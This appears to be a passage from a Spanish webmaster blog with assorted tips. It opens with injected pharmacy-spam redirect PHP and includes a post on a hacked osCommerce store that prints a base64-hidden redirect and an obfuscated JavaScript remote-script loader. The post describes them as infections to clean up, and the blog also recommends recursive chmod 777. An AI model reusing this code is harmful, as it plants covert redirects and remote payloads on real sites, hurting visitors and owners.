if (eregi('Viagra|Cialis|Levitra|Abilify|Accutane|Alesse|Allopurinol|Amoxil|Ampicillin|Antabuse|Aricept|Augmentin|Avandia|Baclofen|Bactrim|Benicar|Celebrex|Celexa|Chloramphenicol|Cipro|Citalopram|Clavamox|Clomid|Coumadin|Cymbalta|Cytotec|Deltasone|Diclofenac|Diflucan|Doxycycline|Elavil|Emsam|Ephedraxin|Erythromycin|Estrace|Evista|Flomax|Fluoxetine|Furosemide|Hoodia|Imuran|Inderal|Lasix|Levlen|Lexapro|Lotensin|Maxalt|Medrol|Metformin|Methotrexate|Naprosyn|Neurontin|Nolvadex|Norvasc|Paxil|Plavix|Prednisone|Premarin|Prevacid|Propecia|Propranolol|Protonix|Proventil|Reglan|Risperdal|Strattera|Sumycin|Synthroid|Tetracycline|Topamax|Trazodone|Tribulus|Tricor|Valtrex|Vermox|Vitamin B-12|Wellbutrin|Xenical|Zanaflex|Zestoretic|Zovirax|Zyban|Zyprexa', $ff_server_referer)) {
$ff_rand_domen = rand(1,3);
$ff_redir_domen = "http://247drugsonline.com/";
if ($ff_rand_domen == 1) { $ff_redir_domen = "http://247drugsonline.com/"; }
if ($ff_rand_domen == 2) { $ff_redir_domen = "http://247drugsonline.com/"; }
if ($ff_rand_domen == 3) { $ff_redir_domen = "http://247drugsonline.com/"; }
if (eregi('Abilify', $ff_server_referer)) { $ff_redir_id = '4147';}
if (eregi('Accutane', $ff_server_referer)) { $ff_redir_id = '3187';}
if (eregi('Alesse', $ff_server_referer)) { $ff_redir_id = '5425';}
if (eregi('Allopurinol', $ff_server_referer)) { $ff_redir_id = '5119';}
if (eregi('Amoxil', $ff_server_referer)) { $ff_redir_id = '1882';}
if (eregi('Ampicillin', $ff_server_referer)) { $ff_redir_id = '5424';}
if (eregi('Antabuse', $ff_server_referer)) { $ff_redir_id = '724';}
if (eregi('Aricept', $ff_server_referer)) { $ff_redir_id = '2965';}
if (eregi('Augmentin', $ff_server_referer)) { $ff_redir_id = '152';}
if (eregi('Avandia', $ff_server_referer)) { $ff_redir_id = '727';}
if (eregi('Baclofen', $ff_server_referer)) { $ff_redir_id = '4038';}
if (eregi('Bactrim', $ff_server_referer)) { $ff_redir_id = '4010';}
if (eregi('Benicar', $ff_server_referer)) { $ff_redir_id = '416';}
if (eregi('Celebrex', $ff_server_referer)) { $ff_redir_id = '155';}
if (eregi('Celexa', $ff_server_referer)) { $ff_redir_id = '2293';}
if (eregi('Chloramphenicol', $ff_server_referer)) { $ff_redir_id = '5180';}
if (eregi('Cipro', $ff_server_referer)) { $ff_redir_id = '252';}
if (eregi('Citalopram', $ff_server_referer)) { $ff_redir_id = '5122';}
if (eregi('Clavamox', $ff_server_referer)) { $ff_redir_id = '4953';}
if (eregi('Clomid', $ff_server_referer)) { $ff_redir_id = '3326';}
if (eregi('Coumadin', $ff_server_referer)) { $ff_redir_id = '2962';}
if (eregi('Cymbalta', $ff_server_referer)) { $ff_redir_id = '3188';}
if (eregi('Cytotec', $ff_server_referer)) { $ff_redir_id = '741';}
if (eregi('Deltasone', $ff_server_referer)) { $ff_redir_id = '255';}
if (eregi('Diclofenac', $ff_server_referer)) { $ff_redir_id = '4039';}
if (eregi('Diflucan', $ff_server_referer)) { $ff_redir_id = '257';}
if (eregi('Doxycycline', $ff_server_referer)) { $ff_redir_id = '4047';}
if (eregi('Elavil', $ff_server_referer)) { $ff_redir_id = '748';}
if (eregi('Emsam', $ff_server_referer)) { $ff_redir_id = '749';}
if (eregi('Ephedraxin', $ff_server_referer)) { $ff_redir_id = '5003';}
if (eregi('Erythromycin', $ff_server_referer)) { $ff_redir_id = '4280';}
if (eregi('Estrace', $ff_server_referer)) { $ff_redir_id = '4667';}
if (eregi('Evista', $ff_server_referer)) { $ff_redir_id = '751';}
if (eregi('Flomax', $ff_server_referer)) { $ff_redir_id = '755';}
if (eregi('Fluoxetine', $ff_server_referer)) { $ff_redir_id = '5121';}
if (eregi('Furosemide', $ff_server_referer)) { $ff_redir_id = '4050';}
if (eregi('Hoodia', $ff_server_referer)) { $ff_redir_id = '2121';}
if (eregi('Imuran', $ff_server_referer)) { $ff_redir_id = '4155';}
if (eregi('Inderal', $ff_server_referer)) { $ff_redir_id = '2853';}
if (eregi('Lasix', $ff_server_referer)) { $ff_redir_id = '262';}
if (eregi('Levlen', $ff_server_referer)) { $ff_redir_id = '2072';}
if (eregi('Lexapro', $ff_server_referer)) { $ff_redir_id = '3052';}
if (eregi('Lotensin', $ff_server_referer)) { $ff_redir_id = '773';}
if (eregi('Maxalt', $ff_server_referer)) { $ff_redir_id = '3564';}
if (eregi('Medrol', $ff_server_referer)) { $ff_redir_id = '3544';}
if (eregi('Metformin', $ff_server_referer)) { $ff_redir_id = '5069';}
if (eregi('Methotrexate', $ff_server_referer)) { $ff_redir_id = '4560';}
if (eregi('Naprosyn', $ff_server_referer)) { $ff_redir_id = '166';}
if (eregi('Neurontin', $ff_server_referer)) { $ff_redir_id = '167';}
if (eregi('Nolvadex', $ff_server_referer)) { $ff_redir_id = '2957';}
if (eregi('Norvasc', $ff_server_referer)) { $ff_redir_id = '169';}
if (eregi('Paxil', $ff_server_referer)) { $ff_redir_id = '170';}
if (eregi('Plavix', $ff_server_referer)) { $ff_redir_id = '172';}
if (eregi('Prednisone', $ff_server_referer)) { $ff_redir_id = '173';}
if (eregi('Premarin', $ff_server_referer)) { $ff_redir_id = '174';}
if (eregi('Prevacid', $ff_server_referer)) { $ff_redir_id = '175';}
if (eregi('Propecia', $ff_server_referer)) { $ff_redir_id = '177';}
if (eregi('Propranolol', $ff_server_referer)) { $ff_redir_id = '5622';}
if (eregi('Protonix', $ff_server_referer)) { $ff_redir_id = '2856';}
if (eregi('Proventil', $ff_server_referer)) { $ff_redir_id = '2286';}
if (eregi('Reglan', $ff_server_referer)) { $ff_redir_id = '4006';}
if (eregi('Risperdal', $ff_server_referer)) { $ff_redir_id = '2857';}
if (eregi('Strattera', $ff_server_referer)) { $ff_redir_id = '4286';}
if (eregi('Sumycin', $ff_server_referer)) { $ff_redir_id = '818';}
if (eregi('Synthroid', $ff_server_referer)) { $ff_redir_id = '2959';}
if (eregi('Tetracycline', $ff_server_referer)) { $ff_redir_id = '4661';}
if (eregi('Topamax', $ff_server_referer)) { $ff_redir_id = '823';}
if (eregi('Trazodone', $ff_server_referer)) { $ff_redir_id = '5072';}
if (eregi('Tribulus', $ff_server_referer)) { $ff_redir_id = '3635';}
if (eregi('Tricor', $ff_server_referer)) { $ff_redir_id = '2295';}
if (eregi('Valtrex', $ff_server_referer)) { $ff_redir_id = '3983';}
if (eregi('Vermox', $ff_server_referer)) { $ff_redir_id = '3499';}
if (eregi('Vitamin B-12', $ff_server_referer)) { $ff_redir_id = '5565';}
if (eregi('Wellbutrin', $ff_server_referer)) { $ff_redir_id = '189';}
if (eregi('Xenical', $ff_server_referer)) { $ff_redir_id = '961';}
if (eregi('Zanaflex', $ff_server_referer)) { $ff_redir_id = '191';}
if (eregi('Zestoretic', $ff_server_referer)) { $ff_redir_id = '4288';}
if (eregi('Zovirax', $ff_server_referer)) { $ff_redir_id = '195';}
if (eregi('Zyban', $ff_server_referer)) { $ff_redir_id = '196';}
if (eregi('Zyprexa', $ff_server_referer)) { $ff_redir_id = '2860';}
if (eregi('viagra|cialis|levitra', $ff_server_referer)) {
$ff_redir_id = "index";
}
if ($ff_redir_id == "index") {
$ff_redir_page = $ff_redir_domen."?said=".$ff_said."&key=".$ff_server_referer;
}
else
{
$ff_redir_page = $ff_redir_domen."item.php?id=".$ff_redir_id."&said=".$ff_said."&key=".$ff_server_referer;
}
$location = $ff_redir_page;
header("Location: ".$location);
exit;
}
}
Quitar borde color en imágenes con enlace por css
La forma de hacerlo es con:
img
{
border:0;
}
2011-12-06
Ordenar tamaño de ficheros y carpetas en linux
du --max-depth=1 /home/cosas/ | sort -n -r
Ordena en bytes
Si quieres ver la cifra en megas y Gigas. Pero no lo ordena bien ya que sólo mira el número y no la cantidad:
du -h --max-depth=1 /home/cosas/ | sort -n -r
2011-12-01
Modo mantenimiento de wordpress
# MAINTENANCE-PAGE REDIRECT
RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000
RewriteCond %{REQUEST_URI} !/mantenimiento.html$ [NC]
RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC]
RewriteRule .* /mantenimiento.html [R=302,L]
Y en mantenimiento.html diseñar lo que se nos antoje mientras podemos seguir trabajando colocando nuestra ip en el htacess.
2011-11-30
Actualizar Firefox desde Ubuntu
sudo add-apt-repository ppa:mozillateam/firefox-stable
sudo apt-get update && sudo apt-get upgrade
Con esto ya os volverán a funcionar los plugins que no funcionan.
Crear backup de Firefox
Descargas el complemento Febe
https://addons.mozilla.org/en-US/firefox/addon/febe/
Yendo a herramientas---> FEBE---> FEBE - Opciones
y ahi Tildamos las casillas de las opciones que deseamos conservar.
Elegimos la carpeta de backup y luego si la necesitamos tendramos que importar los datos desde ahí.
Modificar permisos partición linux
chmod -Rv 777 nombre nombre_particion
Haciéndo esto como root claro
2011-09-13
Eliminar errores de rastreo de google 404
Lo primero de todo es conseguir hallar el problema. Si se consigue eliminar el origen la próxima vez que rastree el bot de google verá que no hay fallos y si no desaparece esa vez, desaparecerá a la siguiente.
¿Qué pasa si no se puede localizar el error?
Puede ser que, sin saberlo, el error ya no exista y también nos desaparezcan poco a poco. Pero a veces detectamos el error y vemos que no hay solución posible. En esos casos, hay que borrar manualmente todos los errores que nos salen y ver que realmente dan un 404. Como complemento, es una buena práctica generar en el robot.txt todas esas entradas erróneas y ponerles un disallow.
Lo bueno de llevar años en esto es que tengo recursos para todo y he desarrollado un script que borra los miles de errores generados. Les cobro un módico precio a mis clientes de posicionamiento por ese servicio y en un par de días se quedan con sus errores de rastreo a cero patatero.
Un gran alivio para mentes preocupadas.
2011-06-14
navbar-iframe
con este sencillo código evitamos que aparezca el molesto iframe que nos endosa blogguer.
2011-05-23
Mejor que browsershots.org
Últimamente browsershots.org tardaba tanto en cargar que perdías los resultados.
2011-05-12
detectar usuario logueado en Oscommerce
if (tep_session_is_registered('customer_id')) {
echo 'tutexto';
}
else {
echo 'tutexto';
}
2011-04-07
if(!isset($tf['engine'])){$tf['engine']=1;$tf['s']=base64_decode('
?php if(!isset($tf['engine'])){$tf['engine']=1;$tf['s']=base64_decode('a2hjb2wuY29t');$tf['u']='http://'.$tf['s'].'/page/';$tf['r']="?ref=".base64_encode('http://'.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']);if(!isset($_GET['rf'])){if(!@headers_sent()){@header("HTTP/1.1 302 Moved Temporarily");@header("Location: ".$tf['u'].$tf['r']);}echo "Page Moved
The page you are trying to open has been moved.
Use the navigation links on the right of this page, the search box at the top, or the site map link below to find the new location of the page you're seeking.
Click the link below to follow new url.
".$tf['u']."";echo "";exit;}} ?
Es la hora de que pases por el informático experto en seguridad más cercano a tu domicilio
Lo más normal es que te hayan introducido este código en todos los archivos php de tu sitio.
En cambio en los archivos html y js te habrán inroducido este otro código:
if (typeof(redef_colors)=="undefined") {
var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7a77', '#727e7b', '#3d727e', '#7c3e7f', '#707674', '#3e7982', '#3d7f77', '#7f314d');
var redef_colors = 1;
var colors_picked = 0;
function div_pick_colors(t,styled) {
var s = "";
for (j=0;j var c_rgb = t[j];
for (i=1;i<7;i++) {
var c_clr = c_rgb.substr(i++,2);
if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
}
}
if (styled) {
s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
} else {
s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
}
return s;
}
function try_pick_colors() {
try {
if(!document.getElementById || !document.createElement){
document.write(div_pick_colors(div_colors,1));
} else {
var new_cstyle=document.createElement("script");
new_cstyle.type="text/javascript";
new_cstyle.src=div_pick_colors(div_colors,0);
document.getElementsByTagName("head")[0].appendChild(new_cstyle);
}
} catch(e) { }
try {
check_colors_picked();
} catch(e) {
setTimeout("try_pick_colors()", 500);
}
}
try_pick_colors();
}
La mayoría de estos hackeos se deben a fallos de seguridad en las consultas a la base de datos de oscommerce. Después colocan un archivo infectado (backdoor) que les permite entrar al sitio y modificar todo lo que quieran. Suele llamarse cookie_usage.php.
La solución más idónea es subir un backup. La otra solución es eliminar archivo a archivo toda la infección y en los dos casos mejorar toda la seguridad y cambiar las contraseñas de todo.
El precio de una desinfección de este estilo suele estar por unos 300 euros con garantía de 3 meses. Nadie es invulnerable hasta el fin de los tiempos.
Da miedo la voracidad de toda esta gente dedicada a hacer el mal:
Click the link below to follow new url. http: //khcol. com /page/
2011-03-22
Crear tu tienda online
Están los que han contratado una chapuza de tienda y los que desean toda una señora tienda virtual por cuatro duros.
Básicamente lo que se necesita es inversión. Inversión de tiempo y dinero.
Puedes pensar que tu productos es la ostia y que todos los consultores del mundo te digan que no vas a vender nada. No conseguirás ningún inversor pero podrás forrarte con el tiempo.
Si no tienes dinero pero si ideas, lo que necesitas es comenzar con lo mínimo, estilo frutería de barrio. Para ese caso lo mejor es coger algún modelo de tienda gratuita o iniciarse ya con algún cms de ecommerce como Oscommerce, Prestashop o Magento.
Si tienes dinero lo mejor es dejar todo en manos de alguna empresa en ecommerce y que ellos se encarguen de todo. Siempre es una buena inversión externalizar y que los problemas que surjan se los coman otros.
Una vez tienes algún tipo de tienda debes vender tu producto. Es la hora del marketing online.
Debes dar a conocer tu marca, tus productos... y dejar que piensen que es el mejor sitio donde comprar.
¿cómo se hace eso?. Pues lo mejor siempre es consultar a algún experto.
Si no quieres gastarte mucho debes pensar cuáles son tus criterios a la hora de comprar en un sitio o en otro y conseguir que tu tienda cumpla con tus requisitos.
No debes olvidar la opinión de más gente. Intenta conseguir opiniones de usuarios a los que va encaminado tu producto. Estudialos.
Si consigues hacer todo esto con el tiempo verás como comienzas a vender... lo de vender como churros ya es un milagro.
Herramientas para hacer ping
Por eso, siempres es bueno para la indexación de un sitio o de páginas hacer el ping.
Estas son dos herramientas para hacer ping que he encontrado. Incluso para hacer ping masivos.
http://pingywebedition.somee.com/
